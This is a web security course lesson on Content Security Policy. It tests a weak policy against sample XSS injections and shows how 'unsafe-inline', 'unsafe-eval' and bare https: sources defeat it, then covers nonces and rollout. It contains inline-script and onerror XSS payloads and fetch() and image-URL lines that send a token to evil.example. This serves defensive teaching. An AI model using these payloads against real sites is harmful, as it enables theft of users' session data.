Track 08 · Lesson 7 of 20Attacks and defenses
- 01What HTTPS protects
- 02The same-origin policy
- 03CORS
- 04Security headers
- 05Cookies done right
- 06Cross-site scripting (XSS)
- 07Content Security Policy
- 08Cross-site request forgery (CSRF)
- 09Clickjacking
- 10Unsafe URLs and open redirects
- 11Prompt injection
- 12SQL and command injection
- 13Prototype pollution, CRLF and SVG
- 14Server-side request forgery (SSRF)
- 15Remote code execution and denial of service
- 16Spoofed headers
- 17Rate limiting
- 18Cache poisoning
- 19The OWASP Top 10
- 20The attack lab
Track 08 · Attacks and defenses
Content Security Policy
Lesson 7 of 20· 8 min
A Content Security Policy is a response header listing where the page may load scripts, images and connections from. It’s the main containment for XSS: even if an attacker’s code gets in, it can’t run, or can’t phone home.
Write a policy, then attack it
Five attacks, plus two things your own app needs
The response header
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; connect-src https:; img-src https: data:; object-src 'none'; base-uri 'self'Attack: Injected inline <script> (stored XSS)
Runs<script>steal()</script>'unsafe-inline' lets every inline script run, the attacker’s included.
Attack: Injected onerror handler
Runs<img src=x onerror="steal()">Inline handlers count as inline script.
Attack: Script loaded from the attacker’s server
Blocked<script src="https://evil.example/x.js">evil.example isn’t on the script list.
Attack: Injected script with a copied nonce
Runs<script nonce="Zk81aQp0x">steal()</script> // copied from the attacker’s own visitDoesn’t matter: 'unsafe-inline' already allows it.
Attack: Running script sends data out with fetch()
Runsfetch("https://evil.example/c", { method: "POST", body: token })connect-src https: allows any HTTPS host.
Attack: Running script leaks data in an image URL
Runsnew Image().src = "https://evil.example/p?d=" + tokenimg-src https: allows any image host, and the query string carries the data.
Your app: Your framework’s own inline script
Works<script>self.__next_f.push(…)</script>Runs, but only because the attacker’s inline scripts run too.
Your app: A charting library that calls eval()
Worksnew Function("return " + expr)Allowed by 'unsafe-eval', which also lets injected code eval strings.
The directives that matter#
script-src: which code may run. The heart of the policy.connect-src: wherefetchand WebSockets may go. Stops a running script sending data out.img-src: where images may load from. Image URLs can carry data out too.object-src 'none'andbase-uri 'self': close two old tricks.
The words that empty the list#
'unsafe-inline' lets every inline script run, which is exactly what XSS injects. 'unsafe-eval' lets code turn strings into code. A bare https: allows every HTTPS host on the internet, the attacker’s included. A policy containing any of them looks protective and contains very little.
Nonces, and what they cost#
A nonce is a random value generated for each response. The server puts it in the header and on each of its own script tags; injected scripts don’t know it. The catch: the value must change on every response, so pages can’t be served from a static cache. In Next.js that means dynamic rendering for pages that use nonces. Tick “Page is cached” in the lab to see why a fixed nonce is no protection at all.
Roll it out without breaking things#
Start with Content-Security-Policy-Report-Only: the browser reports what it would block, and blocks nothing. Fix what breaks, then switch the header name.
In a code review
MediumFrontendContent Security Policy that does not contain XSS
Fix: Move to nonce- or hash-based script-src, drop 'unsafe-eval', and list exact connect-src hosts. Plan it as a project and retest third-party scripts.
0 of 3 checked
Check yourself